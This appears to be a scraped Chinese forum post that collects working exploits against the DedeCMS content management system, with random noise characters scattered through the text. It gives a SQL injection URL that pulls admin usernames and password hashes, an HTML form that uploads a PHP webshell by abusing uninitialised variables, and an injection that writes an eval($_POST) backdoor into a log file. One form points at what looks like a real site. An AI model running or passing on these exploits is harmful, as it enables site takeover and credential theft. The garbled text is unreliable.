3 \) m) v, b) g$ V A5 E6 j/ l9 z* t: X: L+ o5 p
- U* g/ `4 r0 ~, _0 w
, d o. s& F+ {, Y. P1 p8 Y+ ~
2 w6 i1 F, L9 ?9 r' ]
织梦(Dedecms) 5.1 feedback_js.php 注入漏洞9 ]) F4 N' i% ^' _- \5 ^( r
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='! o4 o% I, p7 n B2 a: e
; U5 Q& K/ h$ a- u
0 C( Z7 {/ B" W. C" z) H% L, E+ h+ d- E+ v
& O' y0 M' @, a/ @/ |
4 }. B/ G. ~2 z1 r# @% | " y9 Y7 a! G7 ~3 t5 Y1 {/ Y! B7 B3 ]+ X# v" C: t. ^' q) T
- ~& z; ?1 v1 {6 d) S7 i% K
: z- V+ y, X; r# y1 O6 k7 E
+ L) M( \. t) F& N" p8 q
织梦(Dedecms)select_soft_post.php页面变量未初始漏洞 ! r$ p+ S# H( i1 e% C6 S- {<html> ) ^$ l8 U& z+ ~4 Q* r( n<head>" r+ n5 N8 i7 C
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title> 4 n8 ^ w/ U+ a3 G* k' E</head>$ O; I; C' b- R: g4 `9 Y: O
<body style="FONT-SIZE: 9pt">2 L3 G+ u' o; e1 K" P
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />3 a% |0 S* C! a1 {
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>) v m# h" R! w' j' S6 g. {" |
<input type='hidden' name='activepath' value='/data/cache/' /> " ^; s8 Y) ^$ y<input type='hidden' name='cfg_basedir' value='../../' /> , Z7 A. Z) J: }<input type='hidden' name='cfg_imgtype' value='php' />- |) B8 m2 @! l
<input type='hidden' name='cfg_not_allowall' value='txt' />8 t9 E" L. [4 D# |* g
<input type='hidden' name='cfg_softtype' value='php' /> ! }' }6 E, o! M$ A0 F<input type='hidden' name='cfg_mediatype' value='php' /> 8 w' `4 H& K$ P# Y, Z. p0 B& P) w<input type='hidden' name='f' value='form1.enclosure' /> ' f0 [( j2 f& F I4 a' ]6 }<input type='hidden' name='job' value='upload' /> * I: W5 W. T5 e+ X1 h<input type='hidden' name='newname' value='fly.php' />, t! I% c! C# r6 M* E1 [
Select U Shell <input type='file' name='uploadfile' size='25' />/ G- N6 y+ W0 {& Y
<input type='submit' name='sb1' value='确定' />( Q: _5 x$ {; j' d3 X' v. H
</form> + `% k# ]% z& R<br />It's just a exp for the bug of Dedecms V55...<br /> 9 O( w6 y/ c5 CNeed register_globals = on...<br /> ' Z! \- u K; ^2 n0 UFun the game,get a webshell at /data/cache/fly.php...<br /> ; p4 |- E N" b</body>* i) U3 N5 _7 J' `7 M
</html>' P( }0 [& S! e$ w* v
1 M- x. {+ ~) Q/ q" T, m5 I7 E
" w! t0 J" }& @+ N2 g2 E' p / T. M% J. z1 Y% D* m2 @$ u4 s/ ~" ?" l
" ?6 H- B: a7 u: [6 f
8 R+ F r7 H* t7 d1 m# G , Y2 j* x# A+ V' f( T / v" f. U/ W% w) L0 ]2 f" e( w, Y% s- J# G N
) I$ Z1 V, E. r$ @. p. l织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞% V' a7 d( ~5 e o! W1 b
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。0 K$ k/ b- A! g% f( l
1. 访问网址：9 y5 H: f' x0 L' `: N9 y' @ http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?> ' n' [ B4 c, ^! [3 j3 P可看见错误信息 0 ^$ |, I* ?% K6 i. Y) Q2 k7 I" b 4 D7 K# G" {: m# @6 R" @ 6 u% G4 m' I) T1 D1 P2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。+ S8 d" h+ q8 \7 ~( `6 b3 _
int(3) Error: Illegal double '1024e1024' value found during parsing ) m, ]% B7 T3 \! O0 | TError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>8 J B8 _# x1 K: j
* I( n6 P/ ?+ l